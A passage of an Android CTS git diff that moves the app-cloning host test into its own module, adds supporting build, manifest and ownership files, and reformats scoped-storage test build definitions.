+ "hostside/src/**/BaseHostTestCase.java",
+ ],
+ libs: [
+ "cts-tradefed",
+ "tradefed",
+ "testng",
+ ],
+ // tag the module as cts a test artifact
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
+ ],
+ test_config: "AndroidTestAppCloning.xml",
+ data: [":CtsAppCloningTestApp"],
+}
diff --git a/hostsidetests/scopedstorage/AndroidTestAppCloning.xml b/hostsidetests/appcloning/AndroidTestAppCloning.xml
index 03802f23886..8c882eb773a 100644
--- a/hostsidetests/scopedstorage/AndroidTestAppCloning.xml
+++ b/hostsidetests/appcloning/AndroidTestAppCloning.xml
@@ -1,29 +1,29 @@
<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2021 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
+<!--
+ ~ Copyright (C) 2022 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
<configuration description="Test for App cloning support with clone user profiles">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
- <!-- TODO(b/169101565): change to secondary_user when fixed -->
<!-- Clone user profile is meant to exist only alongside a real system user.
It does not exist for a headless system user, or a secondary user -->
<option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
<test class="com.android.tradefed.testtype.HostTest" >
- <option name="class" value="android.scopedstorage.cts.host.AppCloningHostTest" />
+ <option name="class" value="com.android.cts.appcloning.AppCloningHostTest" />
</test>
<object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
diff --git a/hostsidetests/appcloning/OWNERS b/hostsidetests/appcloning/OWNERS
new file mode 100644
index 00000000000..7cc93143726
--- /dev/null
+++ b/hostsidetests/appcloning/OWNERS
@@ -0,0 +1,6 @@
+# Bug component: 1029024
+saumyap@google.com
+maco@google.com
+dagarhimanshu@google.com
+sarup@google.com
+sailendrabathi@google.com \ No newline at end of file
diff --git a/hostsidetests/appcloning/TEST_MAPPING b/hostsidetests/appcloning/TEST_MAPPING
new file mode 100644
index 00000000000..f512df95a6c
--- /dev/null
+++ b/hostsidetests/appcloning/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+ "presubmit": [
+ {
+ "name": "CtsAppCloningHostTest"
+ }
+ ]
+} \ No newline at end of file
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/AppCloningHostTest.java b/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/AppCloningHostTest.java
index 9522731fe5d..ce7356c5966 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/AppCloningHostTest.java
+++ b/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/AppCloningHostTest.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.scopedstorage.cts.host;
+package com.android.cts.appcloning;
import static com.google.common.truth.Truth.assertThat;
@@ -34,36 +34,39 @@ import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.util.ArrayList;
-import java.util.List;
-
/**
* Runs the AppCloning tests.
*/
@RunWith(DeviceJUnit4ClassRunner.class)
@AppModeFull
public class AppCloningHostTest extends BaseHostTestCase {
- private static final String APP_A = "CtsScopedStorageTestAppA.apk";
- private static final String APP_A_PACKAGE = "android.scopedstorage.cts.testapp.A.withres";
+
+ private static final String APP_A = "CtsAppCloningTestApp.apk";
+ private static final String APP_A_PACKAGE = "com.android.cts.appcloningtestapp";
+
private static final String CONTENT_PROVIDER_URL = "content://android.tradefed.contentprovider";
private static final int CLONE_PROFILE_DIRECTORY_CREATION_TIMEOUT_MS = 20000;
+
private String mCloneUserId;
private ContentProviderHandler mContentProviderHandler;
-
@Before
public void setup() throws Exception {
assumeFalse("Device is in headless system user mode", isHeadlessSystemUserMode());
assumeTrue(isAtLeastS());
assumeFalse("Device uses sdcardfs", usesSdcardFs());
+ // create clone user
String output = executeShellCommand(
"pm create-user --profileOf 0 --user-type android.os.usertype.profile.CLONE "
+ "testUser");
- mCloneUserId = output.substring(output.lastIndexOf(' ') + 1).replaceAll("[^0-9]", "");
+ mCloneUserId = output.substring(output.lastIndexOf(' ') + 1).replaceAll("[^0-9]",
+ "");
assertThat(mCloneUserId).isNotEmpty();
+
CommandResult out = executeShellV2Command("am start-user -w %s", mCloneUserId);
assertThat(out.getStderr()).isEmpty();
+
mContentProviderHandler = new ContentProviderHandler(getDevice());
mContentProviderHandler.setUp();
}
@@ -74,6 +77,8 @@ public class AppCloningHostTest extends BaseHostTestCase {
if (mContentProviderHandler != null) {
mContentProviderHandler.tearDown();
}
+
+ // remove the clone user
executeShellCommand("pm remove-user %s", mCloneUserId);
}
@@ -92,7 +97,8 @@ public class AppCloningHostTest extends BaseHostTestCase {
eventually(() -> {
// Wait for finish.
assertThat(isSuccessful(
- runContentProviderCommand("query", mCloneUserId, "/sdcard", ""))).isTrue();
+ runContentProviderCommand("query", mCloneUserId,
+ "/sdcard", ""))).isTrue();
}, CLONE_PROFILE_DIRECTORY_CREATION_TIMEOUT_MS);
// Create a file on the clone user storage
@@ -101,16 +107,19 @@ public class AppCloningHostTest extends BaseHostTestCase {
eventually(() -> {
// Wait for finish.
assertThat(isSuccessful(
- runContentProviderCommand("write", mCloneUserId, "/sdcard/testFile.txt",
+ runContentProviderCommand("write", mCloneUserId,
+ "/sdcard/testFile.txt",
"< /sdcard/testFile.txt"))).isTrue();
}, CLONE_PROFILE_DIRECTORY_CREATION_TIMEOUT_MS);
// Check that the above created file exists on the clone user storage
- out = runContentProviderCommand("query", mCloneUserId, "/sdcard/testFile.txt", "");
+ out = runContentProviderCommand("query", mCloneUserId,
+ "/sdcard/testFile.txt", "");
assertThat(isSuccessful(out)).isTrue();
// Cleanup the created file
- out = runContentProviderCommand("delete", mCloneUserId, "/sdcard/testFile.txt", "");
+ out = runContentProviderCommand("delete", mCloneUserId,
+ "/sdcard/testFile.txt", "");
assertThat(isSuccessful(out)).isTrue();
}
@@ -136,7 +145,6 @@ public class AppCloningHostTest extends BaseHostTestCase {
}
private boolean usesSdcardFs() throws Exception {
- List<String> mounts = new ArrayList<>();
CommandResult out = executeShellV2Command("cat /proc/mounts");
assertThat(isSuccessful(out)).isTrue();
for (String line : out.getStdout().split("\n")) {
@@ -147,6 +155,4 @@ public class AppCloningHostTest extends BaseHostTestCase {
}
return false;
}
-
-
}
diff --git a/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/BaseHostTestCase.java b/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/BaseHostTestCase.java
new file mode 100644
index 00000000000..3d301f1b7ca
--- /dev/null
+++ b/hostsidetests/appcloning/hostside/src/com/android/cts/appcloning/BaseHostTestCase.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.appcloning;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.device.NativeDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.util.CommandResult;
+import com.android.tradefed.util.CommandStatus;
+
+
+abstract class BaseHostTestCase extends BaseHostJUnit4Test {
+ private int mCurrentUserId = NativeDevice.INVALID_USER_ID;
+ private static final String ERROR_MESSAGE_TAG = "[ERROR]";
+
+ protected String executeShellCommand(String cmd, Object... args) throws Exception {
+ return getDevice().executeShellCommand(String.format(cmd, args));
+ }
+
+ protected CommandResult executeShellV2Command(String cmd, Object... args) throws Exception {
+ return getDevice().executeShellV2Command(String.format(cmd, args));
+ }
+
+ protected boolean isPackageInstalled(String packageName, String userId) throws Exception {
+ return getDevice().isPackageInstalled(packageName, userId);
+ }
+
+ // TODO (b/174775905) remove after exposing the check from ITestDevice.
+ protected boolean isHeadlessSystemUserMode() throws DeviceNotAvailableException {
+ String result = getDevice()
+ .executeShellCommand("getprop ro.fw.mu.headless_system_user").trim();
+ return "true".equalsIgnoreCase(result);
+ }
+
+ protected boolean isAtLeastS() throws DeviceNotAvailableException {
+ return getDevice().getApiLevel() >= 31 /* BUILD.VERSION_CODES.S */;
+ }
+
+ protected static void eventually(ThrowingRunnable r, long timeoutMillis) {
+ long start = System.currentTimeMillis();
+
+ while (true) {
+ try {
+ r.run();
+ return;
+ } catch (Throwable e) {
+ if (System.currentTimeMillis() - start < timeoutMillis) {
+ try {
+ Thread.sleep(100);
+ } catch (InterruptedException ignored) {
+ throw new RuntimeException(e);
+ }
+ } else {
+ throw new RuntimeException(e);
+ }
+ }
+ }
+ }
+
+ protected int getCurrentUserId() throws Exception {
+ setCurrentUserId();
+
+ return mCurrentUserId;
+ }
+
+ protected boolean isSuccessful(CommandResult result) {
+ if (!CommandStatus.SUCCESS.equals(result.getStatus())) {
+ return false;
+ }
+ String stdout = result.getStdout();
+ if (stdout.contains(ERROR_MESSAGE_TAG)) {
+ return false;
+ }
+ String stderr = result.getStderr();
+ return (stderr == null || stderr.trim().isEmpty());
+ }
+
+ private void setCurrentUserId() throws Exception {
+ if (mCurrentUserId != NativeDevice.INVALID_USER_ID) return;
+
+ ITestDevice device = getDevice();
+ mCurrentUserId = device.getCurrentUser();
+ CLog.i("Current user: %d");
+ }
+
+ protected interface ThrowingRunnable {
+ /**
+ * Similar to {@link Runnable#run} but has {@code throws Exception}.
+ */
+ void run() throws Exception;
+ }
+}
diff --git a/hostsidetests/appcloning/test-apps/AppCloningTestApp/Android.bp b/hostsidetests/appcloning/test-apps/AppCloningTestApp/Android.bp
new file mode 100644
index 00000000000..b3edfec5112
--- /dev/null
+++ b/hostsidetests/appcloning/test-apps/AppCloningTestApp/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CtsAppCloningTestApp",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "androidx.test.rules",
+ "truth-prebuilt",
+ "cts-install-lib",
+ ],
+ srcs: ["src/**/*.java"],
+ sdk_version: "test_current",
+ target_sdk_version: "current",
+ min_sdk_version: "30",
+}
diff --git a/hostsidetests/appcloning/test-apps/AppCloningTestApp/AndroidManifest.xml b/hostsidetests/appcloning/test-apps/AppCloningTestApp/AndroidManifest.xml
new file mode 100644
index 00000000000..07d78a0ead2
--- /dev/null
+++ b/hostsidetests/appcloning/test-apps/AppCloningTestApp/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2022 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.appcloningtestapp"
+ android:versionCode="1"
+ android:versionName="1.0" >
+
+ <uses-sdk android:minSdkVersion="30" />
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.appcloningtestapp" />
+
+</manifest> \ No newline at end of file
diff --git a/hostsidetests/appcloning/test-apps/AppCloningTestApp/src/com/android/cts/appcloningtestapp/AppCloningDeviceTest.java b/hostsidetests/appcloning/test-apps/AppCloningTestApp/src/com/android/cts/appcloningtestapp/AppCloningDeviceTest.java
new file mode 100644
index 00000000000..46480f7cd78
--- /dev/null
+++ b/hostsidetests/appcloning/test-apps/AppCloningTestApp/src/com/android/cts/appcloningtestapp/AppCloningDeviceTest.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.appcloningtestapp;
+
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class AppCloningDeviceTest {
+ private static final String TAG = "AppCloningDeviceTest";
+}
diff --git a/hostsidetests/appcompat/strictjavapackages/Android.bp b/hostsidetests/appcompat/strictjavapackages/Android.bp
index fcb20e829cd..9ab8a832ca3 100644
--- a/hostsidetests/appcompat/strictjavapackages/Android.bp
+++ b/hostsidetests/appcompat/strictjavapackages/Android.bp
@@ -33,6 +33,6 @@ java_test_host {
test_suites: [
"cts",
"general-tests",
- "mts",
+ "mts-mainline-infra",
],
}
diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp
index 689141f98e1..808a00d2c2a 100644
--- a/hostsidetests/scopedstorage/Android.bp
+++ b/hostsidetests/scopedstorage/Android.bp
@@ -25,8 +25,13 @@ android_test_helper_app {
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["general-tests", "mts-mediaprovider", "cts"],
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
+ ],
}
+
android_test_helper_app {
name: "CtsScopedStorageTestAppB",
manifest: "ScopedStorageTestHelper/TestAppB.xml",
@@ -36,8 +41,13 @@ android_test_helper_app {
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["general-tests", "mts-mediaprovider", "cts"],
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
+ ],
}
+
android_test_helper_app {
name: "CtsScopedStorageTestAppC",
manifest: "ScopedStorageTestHelper/TestAppC.xml",
@@ -47,8 +57,13 @@ android_test_helper_app {
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["general-tests", "mts-mediaprovider", "cts"],
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
+ ],
}
+
android_test_helper_app {
name: "CtsScopedStorageTestAppC30",
manifest: "ScopedStorageTestHelper/TestAppC30.xml",
@@ -58,8 +73,13 @@ android_test_helper_app {
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["general-tests", "mts", "cts"],
+ test_suites: [
+ "general-tests",
+ "mts",
+ "cts",
+ ],
}
+
android_test_helper_app {
name: "CtsScopedStorageTestAppCLegacy",
manifest: "ScopedStorageTestHelper/TestAppCLegacy.xml",
@@ -69,8 +89,13 @@ android_test_helper_app {
min_sdk_version: "28",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["general-tests", "mts-mediaprovider", "cts"],
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
+ ],
}
+
android_test_helper_app {
name: "CtsScopedStorageTestAppDLegacy",
manifest: "ScopedStorageTestHelper/TestAppDLegacy.xml",
@@ -80,7 +105,11 @@ android_test_helper_app {
min_sdk_version: "28",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["general-tests", "mts-mediaprovider", "cts"],
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
+ ],
}
android_test_helper_app {
@@ -92,8 +121,13 @@ android_test_helper_app {
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["general-tests", "mts-mediaprovider", "cts"],
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
+ ],
}
+
android_test_helper_app {
name: "CtsScopedStorageTestAppFileManagerBypassDB",
manifest: "ScopedStorageTestHelper/TestAppFileManagerBypassDB.xml",
@@ -103,8 +137,13 @@ android_test_helper_app {
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["general-tests", "mts", "cts"],
+ test_suites: [
+ "general-tests",
+ "mts",
+ "cts",
+ ],
}
+
android_test_helper_app {
name: "CtsScopedStorageTestAppSystemGalleryBypassDB",
manifest: "ScopedStorageTestHelper/TestAppSystemGalleryBypassDB.xml",
@@ -114,8 +153,13 @@ android_test_helper_app {
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["general-tests", "mts", "cts"],
+ test_suites: [
+ "general-tests",
+ "mts",
+ "cts",
+ ],
}
+
android_test_helper_app {
name: "CtsScopedStorageTestAppSystemGallery30BypassDB",
manifest: "ScopedStorageTestHelper/TestAppSystemGallery30BypassDB.xml",
@@ -125,7 +169,11 @@ android_test_helper_app {
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["general-tests", "mts", "cts"],
+ test_suites: [
+ "general-tests",
+ "mts",
+ "cts",
+ ],
}
android_test_helper_app {
@@ -150,9 +198,16 @@ android_test {
name: "ScopedStorageTest",
manifest: "AndroidManifest.xml",
srcs: ["src/**/*.java"],
- static_libs: ["truth-prebuilt", "cts-scopedstorage-lib"],
+ static_libs: [
+ "truth-prebuilt",
+ "cts-scopedstorage-lib",
+ ],
compile_multilib: "both",
- test_suites: ["general-tests", "mts-mediaprovider", "cts"],
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
+ ],
sdk_version: "test_current",
target_sdk_version: "31",
min_sdk_version: "30",
@@ -161,40 +216,67 @@ android_test {
":CtsScopedStorageTestAppB",
":CtsScopedStorageTestAppC",
":CtsScopedStorageTestAppCLegacy",
- ]
+ ],
}
android_test {
name: "LegacyStorageTest",
manifest: "legacy/AndroidManifest.xml",
srcs: ["legacy/src/**/*.java"],
- static_libs: ["truth-prebuilt", "cts-scopedstorage-lib"],
+ static_libs: [
+ "truth-prebuilt",
+ "cts-scopedstorage-lib",
+ ],
compile_multilib: "both",
- test_suites: ["general-tests", "mts-mediaprovider", "cts"],
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
+ ],
sdk_version: "test_current",
target_sdk_version: "29",
min_sdk_version: "30",
java_resources: [
":CtsScopedStorageTestAppA",
- ]
+ ],
}
java_test_host {
name: "CtsScopedStorageCoreHostTest",
- srcs: [
+ srcs: [
"host/src/android/scopedstorage/cts/host/ScopedStorageCoreHostTest.java",
- "host/src/android/scopedstorage/cts/host/BaseHostTestCase.java"
+ "host/src/android/scopedstorage/cts/host/BaseHostTestCase.java",
+ ],
+ libs: [
+ "cts-tradefed",
+ "tradefed",
+ "testng",
+ ],
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
],
- libs: ["cts-tradefed", "tradefed", "testng"],
- test_suites: ["general-tests", "mts-mediaprovider", "cts"],
test_config: "CoreTest.xml",
}
java_test_host {
name: "CtsScopedStorageHostTest",
srcs: ["host/src/**/*.java"],
- libs: ["cts-tradefed", "tradefed", "testng"],
- test_suites: ["general-tests", "mts-mediaprovider", "cts"],
+ libs: [
+ "cts-tradefed",
+ "tradefed",
+ "testng",
+ ],
+ static_libs: [
+ "modules-utils-build-testing",
+ "compatibility-host-util",
+ ],
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
+ ],
test_config: "AndroidTest.xml",
data: [
":CtsLegacyStorageTestAppRequestLegacy",
@@ -205,20 +287,20 @@ java_test_host {
java_test_host {
name: "CtsScopedStoragePublicVolumeHostTest",
srcs: ["host/src/**/*.java"],
- libs: ["cts-tradefed", "tradefed", "testng"],
- test_suites: ["general-tests", "mts-mediaprovider"],
- test_config: "PublicVolumeTest.xml",
-}
-
-java_test_host {
- name: "CtsAppCloningHostTest",
- srcs: [
- "host/src/android/scopedstorage/cts/host/AppCloningHostTest.java",
- "host/src/android/scopedstorage/cts/host/BaseHostTestCase.java"
+ libs: [
+ "cts-tradefed",
+ "tradefed",
+ "testng",
+ ],
+ static_libs: [
+ "modules-utils-build-testing",
+ "compatibility-host-util",
+ ],
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
],
- libs: ["cts-tradefed", "tradefed", "testng"],
- test_suites: ["general-tests", "mts-mediaprovider", "cts"],
- test_config: "AndroidTestAppCloning.xml",
+ test_config: "PublicVolumeTest.xml",
}
android_test {
@@ -226,13 +308,24 @@ android_test {
manifest: "device/AndroidManifest.xml",
test_config: "device/AndroidTest.xml",
srcs: ["device/**/*.java"],
- static_libs: ["truth-prebuilt", "cts-scopedstorage-lib",],
+ static_libs: [
+ "truth-prebuilt",
+ "cts-scopedstorage-lib",
+ ],
compile_multilib: "both",
- test_suites: ["general-tests", "mts-mediaprovider", "cts"],
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
+ ],
sdk_version: "test_current",
target_sdk_version: "31",
min_sdk_version: "30",
- libs: ["android.test.base", "android.test.mock", "android.test.runner",],
+ libs: [
+ "android.test.base",
+ "android.test.mock",
+ "android.test.runner",
+ ],
java_resources: [
":CtsScopedStorageTestAppA",
":CtsScopedStorageTestAppB",
@@ -244,5 +337,5 @@ android_test {
":CtsScopedStorageTestAppFileManagerBypassDB",
":CtsScopedStorageTestAppSystemGalleryBypassDB",
":CtsScopedStorageTestAppSystemGallery30BypassDB",
- ]
+ ],
}
diff --git a/hostsidetests/scopedstorage/AndroidTest.xml b/hostsidetests/scopedstorage/AndroidTest.xml
index 42a3a362933..320d5417f17 100644
--- a/hostsidetests/scopedstorage/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/AndroidTest.xml
@@ -28,6 +28,12 @@
<option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
<option name="test-file-name" value="CtsLegacyStorageTestAppRequestLegacy.apk" />
</target_preparer>
+
+ <option
+ name="config-descriptor:metadata"
+ key="mainline-param"
+ value="com.google.android.mediaprovider.apex" />
+
<test class="com.android.tradefed.testtype.HostTest" >
<option name="class" value="android.scopedstorage.cts.host.LegacyStorageHostTest" />
<option name="class" value="android.scopedstorage.cts.host.PreserveLegacyStorageHostTest" />
diff --git a/hostsidetests/scopedstorage/CoreTest.xml b/hostsidetests/scopedstorage/CoreTest.xml
index 5b725e1a853..325807d45c3 100644
--- a/hostsidetests/scopedstorage/CoreTest.xml
+++ b/hostsidetests/scopedstorage/CoreTest.xml
@@ -27,6 +27,12 @@
<option name="test-file-name" value="CtsScopedStorageTestAppB.apk" />
<option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
</target_preparer>
+
+ <option
+ name="config-descriptor:metadata"
+ key="mainline-param"
+ value="com.google.android.mediaprovider.apex" />
+
<test class="com.android.tradefed.testtype.HostTest" >
<option name="class" value="android.scopedstorage.cts.host.ScopedStorageCoreHostTest" />
</test>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
index a93aeee3c98..ee63a8abf13 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
@@ -24,6 +24,7 @@ import static android.scopedstorage.cts.lib.TestUtils.CHECK_DATABASE_ROW_EXISTS_
import static android.scopedstorage.cts.lib.TestUtils.CREATE_FILE_QUERY;
import static android.scopedstorage.cts.lib.TestUtils.CREATE_IMAGE_ENTRY_QUERY;
import static android.scopedstorage.cts.lib.TestUtils.DELETE_FILE_QUERY;
+import static android.scopedstorage.cts.lib.TestUtils.DELETE_RECURSIVE_QUERY;
import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXCEPTION;
import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXTRA_CALLING_PKG;
import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXTRA_PATH;
@@ -40,6 +41,7 @@ import static android.scopedstorage.cts.lib.TestUtils.RENAME_FILE_PARAMS_SEPARAT
import static android.scopedstorage.cts.lib.TestUtils.RENAME_FILE_QUERY;
import static android.scopedstorage.cts.lib.TestUtils.SETATTR_QUERY;
import static android.scopedstorage.cts.lib.TestUtils.canOpen;
+import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively;
import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
@@ -93,6 +95,7 @@ public class ScopedStorageTestHelper extends Activity {
case CAN_READ_WRITE_QUERY:
case CREATE_FILE_QUERY:
case DELETE_FILE_QUERY:
+ case DELETE_RECURSIVE_QUERY:
case CAN_OPEN_FILE_FOR_READ_QUERY:
case CAN_OPEN_FILE_FOR_WRITE_QUERY:
case OPEN_FILE_FOR_READ_QUERY:
@@ -263,6 +266,9 @@ public class ScopedStorageTestHelper extends Activity {
case DELETE_FILE_QUERY:
intent.putExtra(queryType, file.delete());
return intent;
+ case DELETE_RECURSIVE_QUERY:
+ intent.putExtra(queryType, deleteRecursively(file));
+ return intent;
case SETATTR_QUERY:
int newTimeMillis = 12345000;
intent.putExtra(queryType, file.setLastModified(newTimeMillis));
diff --git a/hostsidetests/scopedstorage/device/AndroidTest.xml b/hostsidetests/scopedstorage/device/AndroidTest.xml
index 7e6f8953ed5..5730b2e2826 100644
--- a/hostsidetests/scopedstorage/device/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/device/AndroidTest.xml
@@ -23,6 +23,11 @@
<option name="test-file-name" value="CtsScopedStorageTestAppFileManager.apk" />
</target_preparer>
+ <option
+ name="config-descriptor:metadata"
+ key="mainline-param"
+ value="com.google.android.mediaprovider.apex" />
+
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
index 74ed31999aa..c684ee25c8c 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
@@ -45,6 +45,7 @@ import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs;
import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively;
+import static android.scopedstorage.cts.lib.TestUtils.deleteRecursivelyAs;
import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProvider;
import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
@@ -210,7 +211,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
"CtsScopedStorageTestAppFileManager.apk");
// A legacy targeting app with RES and WES permissions
private static final TestApp APP_D_LEGACY_HAS_RW = new TestApp("TestAppDLegacy",
- "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppCLegacy.apk");
+ "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppDLegacy.apk");
